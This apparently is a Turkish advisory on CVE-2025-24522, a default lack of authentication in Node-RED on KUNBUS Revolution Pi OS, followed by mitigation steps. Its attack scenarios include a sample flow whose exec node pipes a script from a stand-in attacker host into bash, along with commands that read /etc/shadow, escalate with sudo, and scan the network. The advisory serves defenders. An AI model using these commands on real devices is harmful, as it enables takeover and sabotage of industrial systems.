KUNBUS Revolution Pi OS'ta Kritik (IOT) Güvenlik Açığı

 

KUNBUS Revolution Pi OS'ta Kritik Güvenlik Açığı

Genel Bakış 

KUNBUS Revolution Pi OS Bookworm (01/2025 sürümü) içinde kritik bir güvenlik açığı tespit edildi: CVE-2025-24522. Bu zafiyet, Node-RED sunucusunda varsayılan olarak kimlik doğrulamanın devre dışı bırakılmış olmasından kaynaklanıyor. Bu durum, yetkisiz bir saldırganın Node-RED sunucusuna tam erişim sağlamasına ve hatta işletim sistemi üzerinde keyfi komutlar çalıştırmasına olanak tanıyor.

CVSS-B skoru 9.3 (KRİTİK) olan bu açık, Revolution Pi cihazlarını kullanan endüstriyel sistemler ve IoT dağıtımları için ciddi bir tehdit oluşturuyor.

---

Teknik Detaylar

Zafiyetin Kökeni

Revolution Pi OS'taki Node-RED örneği varsayılan olarak kimlik doğrulama gerektirmiyor, yani:

• Node-RED panosu şifresiz erişime açık.

• Saldırganlar, kötü amaçlı akışlar ekleyebilir, mevcut akışları değiştirebilir veya Node-RED fonksiyonları aracılığıyla sistem komutları çalıştırabilir.

• Node-RED genellikle yüksek yetkilerle çalıştığından, bu durum tam sistem ele geçirilmesine yol açabilir.

Etkilenen Sürümler

• KUNBUS Revolution Pi OS Bookworm (01/2025 sürümü)

• Node-RED'in manuel olarak güvenli hale getirilmediği eski sürümler de risk altında olabilir.

---

Saldırı Senaryoları

Senaryo 1: Node-RED Panosu Üzerinden Uzaktan Sömürme

1. Keşif: Saldırgan, yerel ağda veya internete açık Revolution Pi cihazlarını tarayarak Node-RED panosunu (http://<hedef-ip>:1880) bulur.

2. Kimlik Doğrulamasız Erişim: Node-RED şifre istemediği için saldırgan doğrudan düzenleyiciye girer.

3. Zararlı Akış Enjeksiyonu:

   • Saldırgan, işletim sistemi komutları çalıştıran bir "exec" düğümü ekler (örneğin, rm -rf /, wget zararlı-kod.sh veya reverse shell).

   • Örnek zararlı akış:

     json

     Copy

     Download

     [
         {
             "id": "inject-node",
             "type": "inject",
             "payload": "zararli_komut",
             "wires": [["exec-node"]]
         },
         {
             "id": "exec-node",
             "type": "exec",
             "command": "sh -c 'curl http://saldırgan.com/zararlı.sh | bash'",
             "wires": []
         }
     ]

4. Dağıtım ve Çalıştırma:

   • Saldırgan akışı devreye alır ve Revolution Pi üzerinde komut çalıştırır.

   • Uzaktan kabuk erişimi elde eder, veri çalar veya operasyonları sabote eder.

Senaryo 2: Endüstriyel Ağlarda Yanal Hareket

1. Başlangıç Erişimi: Saldırgan, bir fabrika ağındaki zayıf güvenlikli bir Revolution Pi'yi ele geçirir.

2. Yetki Yükseltme:

   • Node-RED üzerinden şu komutları çalıştırır:

     bash

     Copy

     Download

     cat /etc/shadow   # Parola hash'lerini çalar  
     sudo su -         # Node-RED sudo yetkisiyle çalışıyorsa root erişimi sağlar  

3. Ağ İçinde Yayılma:

   • Dahili ağları tarar (nmap -sn 192.168.1.0/24) ve diğer cihazları hedef alır.

   • Fidye yazılımı yükleyebilir veya endüstriyel süreçleri sabote edebilir.

---

Önlemler ve Düzeltmeler

Acil Eylemler

1. Node-RED Kimlik Doğrulamasını Etkinleştirin:

   • /home/pi/.node-red/settings.js dosyasını düzenleyerek şu ayarı ekleyin:

     javascript

     Copy

     Download

     adminAuth: {
         type: "credentials",
         users: [{
             username: "admin",
             password: "$2a$08$hashlenmiş_şifre",
             permissions: "*"
         }]
     }

   • Şifre hash'ini şu komutla oluşturun:

     bash

     Copy

     Download

     node-red-admin hash-pw

2. Ağ Erişimini Kısıtlayın:

   • Güvenlik duvarıyla 1880 portuna yetkisiz erişimi engelleyin.

   • Örnek (ufw):

     bash

     Copy

     Download

     sudo ufw deny 1880  
     sudo ufw allow from 192.168.1.0/24 to any port 1880  

3. Revolution Pi OS'u Güncelleyin:

   • KUNBUS'tan yama bildirimlerini takip edin ve hemen uygulayın.

Uzun Vadeli Öneriler

• Kullanılmayan Node-RED örneklerini devre dışı bırakın.

• Şüpheli akışları izleyin (örneğin, beklenmeyen exec düğümleri).

• Endüstriyel ağları segmentlere ayırın ve yanal hareketi zorlaştırın.

---

Sonuç

CVE-2025-24522, Node-RED'in kimlik doğrulama gerektirmemesi nedeniyle Revolution Pi cihazlarını uzaktan kod çalıştırma (RCE) saldırılarına açık hale getiren kritik bir güvenlik açığıdır. Saldırganlar, etkilenen sistemlerin tam kontrolünü ele geçirebilir, bu nedenle endüstriyel ve IoT ortamları için acil önlem alınmalıdır.

Tavsiye: Derhal önlemleri uygulayın ve KUNBUS'tan güncelleme bekleyin.